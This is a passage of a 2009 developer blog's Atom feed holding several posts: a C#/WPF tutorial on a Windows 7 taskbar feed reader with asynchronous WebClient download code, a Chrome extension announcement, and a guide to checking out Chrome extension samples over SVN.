&lt;strong&gt;client_DownloadDataCompleted&lt;/strong&gt; is fired when the XML is ready to be parsed.&lt;br /&gt;Then we call &lt;strong&gt;&lt;em&gt;client.DownloadDataAsync(new Uri(url));&lt;/em&gt;&lt;/strong&gt; which downloads the XML asynchronously.&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:bc687fa8-6e3d-44cd-b4cc-6dbeaca0ce1b" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;void&lt;/span&gt; LoadFeeds(&lt;span style="color: blue;"&gt;string&lt;/span&gt; url)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BlogIntoTakbar.ProgressState = &lt;span style="color: #2b91af;"&gt;TaskbarItemProgressState&lt;/span&gt;.Indeterminate;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #2b91af;"&gt;WebClient&lt;/span&gt; client = &lt;span style="color: blue;"&gt;new&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;WebClient&lt;/span&gt;();&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;client.DownloadDataCompleted += &lt;span style="color: blue;"&gt;new&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;DownloadDataCompletedEventHandler&lt;/span&gt;(client_DownloadDataCompleted);&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;client.DownloadProgressChanged +=&lt;span style="color: blue;"&gt;new&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;DownloadProgressChangedEventHandler&lt;/span&gt;(client_DownloadProgressChanged);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;client.DownloadDataAsync(&lt;span style="color: blue;"&gt;new&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;Uri&lt;/span&gt;(url));&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The &lt;strong&gt;client_DownloadProgressChanged&lt;/strong&gt; just sets the ProgressBar status to Indeterminate to indicate that it is always updating.&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:56cab7f4-69e2-4a96-9589-1a6e34e9c994" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;private&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; client_DownloadProgressChanged(&lt;span style="color: blue;"&gt;object&lt;/span&gt; sender, &lt;span style="color: #2b91af;"&gt;DownloadProgressChangedEventArgs&lt;/span&gt; e)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BlogIntoTakbar.ProgressState = &lt;span style="color: #2b91af;"&gt;TaskbarItemProgressState&lt;/span&gt;.Indeterminate;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The &lt;strong&gt;client_DownloadDataCompleted&lt;/strong&gt; takes the &lt;strong&gt;DownloadDataCompletedEventArgs &lt;/strong&gt;result and decodes it to string (from a Byte array) using the &lt;strong&gt;UTF8&lt;/strong&gt; encoding (you change this according to the feed you are receiving)&lt;br /&gt;Then it refreshes the feeds collection by calling &lt;strong&gt;GetFeeds&lt;/strong&gt; method. If the feeds load correctly then it sets the buttons to their active forms, changes the &lt;strong&gt;ProgressBar&lt;/strong&gt; status to None otherwise it shows a Network error notification and changes the ProgressBar status to error to indicate a fail update.&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:86f5208a-7406-4006-b450-c305357f6271" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;private&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; client_DownloadDataCompleted(&lt;span style="color: blue;"&gt;object&lt;/span&gt; sender, &lt;span style="color: #2b91af;"&gt;DownloadDataCompletedEventArgs&lt;/span&gt; e)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;try&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;string&lt;/span&gt; result = System.Text.&lt;span style="color: #2b91af;"&gt;UTF8Encoding&lt;/span&gt;.UTF8.GetString(e.Result);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;feeds = GetFeeds(result);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;if&lt;/span&gt; (feeds != &lt;span style="color: blue;"&gt;null&lt;/span&gt;)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;currentFeed = &lt;span style="color: brown;"&gt;0&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;browseFeed.IsEnabled = &lt;span style="color: blue;"&gt;true&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next.IsEnabled = &lt;span style="color: blue;"&gt;true&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;previous.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BlogIntoTakbar.ProgressState = &lt;span style="color: #2b91af;"&gt;TaskbarItemProgressState&lt;/span&gt;.None;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NetworkError.Visibility = System.Windows.&lt;span style="color: #2b91af;"&gt;Visibility&lt;/span&gt;.Hidden;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UpdateUI();&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;else&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;throw&lt;/span&gt; &lt;span style="color: blue;"&gt;new&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;Exception&lt;/span&gt;();&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;catch&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BlogIntoTakbar.ProgressState = &lt;span style="color: #2b91af;"&gt;TaskbarItemProgressState&lt;/span&gt;.Error;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BlogIntoTakbar.ProgressValue = &lt;span style="color: brown;"&gt;.9&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;browseFeed.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;previous.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NetworkError.Visibility = System.Windows.&lt;span style="color: #2b91af;"&gt;Visibility&lt;/span&gt;.Visible;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ResetUI();&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;li&gt;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;You can download the application and the source code from here &lt;a href="http://web.martani.net/bloginto7"&gt;http://web.martani.net/bloginto7&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-4232092052899185687?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/4232092052899185687/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2009/12/take-advantage-of-new-windows-7-taskbar.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4232092052899185687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/4232092052899185687'/><link rel='alternate' type='text/html' href='http://www.martani.net/2009/12/take-advantage-of-new-windows-7-taskbar.html' title='Take advantage of the new Windows 7 Taskbar #2 [Showcase : Bloginto7]'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_MIqc395dv38/Sy_KxdoiYnI/AAAAAAAAA-8/NPIlIlU1a5E/s72-c/42001378_thumb_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-3160033553654510162</id><published>2009-12-12T18:17:00.001+01:00</published><updated>2009-12-12T18:17:15.389+01:00</updated><title type='text'>BlogInto, The First Google Chrome Extension For Bloginy</title><content type='html'>&lt;p&gt;BlogInto has been around for a while as a &lt;a href="http://web.martani.net/bloginto" target="_blank"&gt;standard Windows application&lt;/a&gt; or a &lt;a href="http://www.martani.net/2009/11/take-advantage-of-new-windows-7-taskbar.html" target="_blank"&gt;Windows 7 specific version&lt;/a&gt;, today it is going public as a Google Chrome extension too.&lt;/p&gt;  &lt;p&gt;It is so basic for now and it is the result of less than 2 hours playing around with the extensions’ APIs and specifications, if you want to play around with them too, make sure you take a look at &lt;a href="http://www.martani.net/2009/12/develop-google-chrome-extensions-svn-em.html" target="_blank"&gt;the post&lt;/a&gt; about developing Google Chrome extensions I posted yesterday.&lt;/p&gt;  &lt;p&gt;You can install it directly from here : &lt;a href="https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak"&gt;https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak&lt;/a&gt; and &lt;strong&gt;of course the source code is public&lt;/strong&gt;, you can view it using the Chrome developer tools –this is how to do it : [&lt;a href="http://code.google.com/chrome/extensions/tut_debugging.html" target="_blank"&gt;link&lt;/a&gt;]-.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_MIqc395dv38/SyPQDxWDBpI/AAAAAAAAA-k/riZQf2_yigw/s1600-h/Sans%20titre%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="Sans titre" border="0" alt="Sans titre" src="http://lh5.ggpht.com/_MIqc395dv38/SyPQEiTbRWI/AAAAAAAAA-o/p6xfqYgT4Dw/Sans%20titre_thumb%5B1%5D.png?imgmax=800" width="490" height="249" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Well,I hope you like it, and I would be happy to hear your feedback about any issues and problems with the extension, also any suggestions about features to include are welcome too.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/SyPQFTNirXI/AAAAAAAAA-s/vPxT2JgnHP0/s1600-h/2%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="2" border="0" alt="2" src="http://lh4.ggpht.com/_MIqc395dv38/SyPQGsuWVmI/AAAAAAAAA-w/zwfUXsoHano/2_thumb%5B1%5D.png?imgmax=800" width="356" height="345" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-3160033553654510162?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/3160033553654510162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2009/12/bloginto-first-google-chrome-extension.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3160033553654510162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/3160033553654510162'/><link rel='alternate' type='text/html' href='http://www.martani.net/2009/12/bloginto-first-google-chrome-extension.html' title='BlogInto, The First Google Chrome Extension For Bloginy'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_MIqc395dv38/SyPQEiTbRWI/AAAAAAAAA-o/p6xfqYgT4Dw/s72-c/Sans%20titre_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-93194111171373794</id><published>2009-12-11T21:33:00.002+01:00</published><updated>2009-12-25T23:12:37.125+01:00</updated><title type='text'>Develop Google Chrome Extensions, SVN ‘em All Now</title><content type='html'>The buzz these days is all about Google Chrome extensions, you can check the directory of the available extensions here &lt;a href="https://chrome.google.com/extensions/" target="_blank"&gt;https://chrome.google.com/extensions/&lt;/a&gt;, you can even publish you own extensions on the same website.&lt;br /&gt;If you want to develop for Google Chrome extensions, you will be so pleased if you already know JavaScript, the extensions are some sort of JavaScript pages (frames) that interact with a variety of APIs.&lt;br /&gt;The Google Extensions website for developers on Google Code &lt;a href="http://code.google.com/chrome/extensions/getstarted.html" target="_blank"&gt;-http://code.google.com/chrome/extensions/getstarted.html&lt;/a&gt;- is really amazing (as all the other products explained by Google) and it’s too detailed and simple to follow and start getting your hands on the Chrome extensions.&lt;br /&gt;After a while you will need to try out the examples they provide, and the best way is to checkout their ready-to-run samples using you favorite SVN tool, here I use &lt;a href="http://www.martani.net/2009/11/using-svn-with-visual-studio-2010.html"&gt;TortoiseSVN&lt;/a&gt; for Windows and it’s working pretty cool.&lt;br /&gt;In your favorite directory, right click in a free space and choose &lt;strong&gt;SVN Checkout&lt;/strong&gt;.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/SyKspUPkgtI/AAAAAAAAA-M/f_iM4icw2e8/s1600-h/svn1%5B2%5D.png"&gt;&lt;img alt="svn1" border="0" height="248" src="http://lh4.ggpht.com/_MIqc395dv38/SyKsp8Ie0sI/AAAAAAAAA-Q/ZY9mYtBF1wU/svn1_thumb.png?imgmax=800" style="border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="svn1" width="194" /&gt;&lt;/a&gt; On the next window, choose &lt;a href="http://src.chromium.org/svn/trunk/src/chrome/common/extensions/docs/examples/" title="http://src.chromium.org/svn/trunk/src/chrome/common/extensions/docs/examples/"&gt;http://src.chromium.org/svn/trunk/src/chrome/common/extensions/docs/examples/&lt;/a&gt; as the repository URL and there you go.&lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/SyKsqbUxuDI/AAAAAAAAA-U/cGPRRAAlow4/s1600-h/svn2%5B5%5D.png"&gt;&lt;img alt="svn2" border="0" height="227" src="http://lh6.ggpht.com/_MIqc395dv38/SyKsr4WgDSI/AAAAAAAAA-Y/ueXfbk0Eoi4/svn2_thumb%5B3%5D.png?imgmax=800" style="border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline;" title="svn2" width="288" /&gt;&lt;/a&gt; &lt;a href="http://lh3.ggpht.com/_MIqc395dv38/SyKsshg6CVI/AAAAAAAAA-c/MVdgdw4sN-c/s1600-h/svn3%5B3%5D.png"&gt;&lt;img alt="svn3" border="0" height="194" src="http://lh3.ggpht.com/_MIqc395dv38/SyKstUxLelI/AAAAAAAAA-g/NMyeZq8GmMQ/svn3_thumb%5B1%5D.png?imgmax=800" style="border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline;" title="svn3" width="320" /&gt;&lt;/a&gt; &lt;br /&gt;You get 3 folders : API, extensions and tutorials, inside the api folder you get all the examples of the api exposed by the Google Chrome extensions. The extensions folder contains 6 ready to use extensions which includes Gmail, Mappy, News and more.&lt;br /&gt;This is a simple Twitter feed reader I coded in less than 15 minutes :) &lt;a href="http://twitpic.com/t31pp"&gt;http://twitpic.com/t31pp&lt;/a&gt; If you created something cool, let me know about it in the comments.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-93194111171373794?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/93194111171373794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2009/12/develop-google-chrome-extensions-svn-em.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/93194111171373794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/93194111171373794'/><link rel='alternate' type='text/html' href='http://www.martani.net/2009/12/develop-google-chrome-extensions-svn-em.html' title='Develop Google Chrome Extensions, SVN ‘em All Now'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_MIqc395dv38/SyKsp8Ie0sI/AAAAAAAAA-Q/ZY9mYtBF1wU/s72-c/svn1_thumb.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-905219414800587268</id><published>2009-11-28T20:42:00.003+01:00</published><updated>2009-12-25T23:14:46.043+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows 7'/><category scheme='http://www.blogger.com/atom/ns#' term='wpf'/><category scheme='http://www.blogger.com/atom/ns#' term='xaml'/><category scheme='http://www.blogger.com/atom/ns#' term='c#'/><title type='text'>Take advantage of the new Windows 7 Taskbar #1 [Showcase : Bloginto7, a simple feed reader for Bloginy]</title><content type='html'>&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/SxF9DqRTLRI/AAAAAAAAAyI/RX7HMhIjYKw/s1600-h/42001378%5B2%5D.png"&gt;&lt;img align="right" alt="42001378" border="0" height="178" src="http://lh3.ggpht.com/_MIqc395dv38/SxF9ErWXstI/AAAAAAAAAyM/2sw8Eil40KI/42001378_thumb.png?imgmax=800" style="border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: inline; margin-left: 0px; margin-right: 0px;" title="42001378" width="248" /&gt;&lt;/a&gt;  &lt;br /&gt;If you used windows 7, heard or saw some videos about it, then the most noticed change you&amp;nbsp; might have noticed is the new taskbar and the cool functionalities it offers. Today I’ll show a little application that looks close to the &lt;a href="http://www.neowin.net/forum/index.php?showtopic=777838" target="_blank"&gt;Gmail Notifier Plus&lt;/a&gt;. The application can be customized to show any feeds that have the same structure as the (title, description, author, date) pattern, a great example would be the Twitter or Facebook updates. Here I’m going to show Bloginto7 that reads &lt;a href="http://bloginy.com/" target="_blank"&gt;Bloginy&lt;/a&gt; feeds.&lt;br /&gt;This part demonstrates the new &lt;strong&gt;TaskbarItemInfo&lt;/strong&gt;, the new &lt;strong&gt;progressbar&lt;/strong&gt; and the new text properties introduced in the .NET 4.0, the next part will be about the code to retrieve feeds asynchronously, change the UI and the Progress state and value from code. The other parts will be about Jumplists. &lt;br /&gt;&lt;h1&gt;Part 1 : XAML:&lt;/h1&gt;&lt;h3&gt;1.1 TaskbarItemInfo :&lt;/h3&gt;The new &lt;strong&gt;TaskbarItemInfo&lt;/strong&gt; can be created directly easily using XAML, mainly inside the &lt;strong&gt;&amp;lt;Window.TaskbarItemInfo&amp;gt;&lt;/strong&gt; you can configure the parameters of the Taskbar button of you application along with the &lt;strong&gt;ThumbButtons&lt;/strong&gt; as well. Here is the complete XAML that is used to produce the UI shown in the picture :&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:73898af2-1531-4ba9-88f6-728af85592c1" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;Window.TaskbarItemInfo&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #a31515;"&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #a31515;"&gt;TaskbarItemInfo&lt;/span&gt;&lt;span style="color: red;"&gt; x&lt;/span&gt;&lt;span style="color: blue;"&gt;:&lt;/span&gt;&lt;span style="color: red;"&gt;Name&lt;/span&gt;&lt;span style="color: blue;"&gt;="BlogIntoTakbar"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: red;"&gt; Description&lt;/span&gt;&lt;span style="color: blue;"&gt;="BlogInto"&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: red;"&gt; ProgressState&lt;/span&gt;&lt;span style="color: 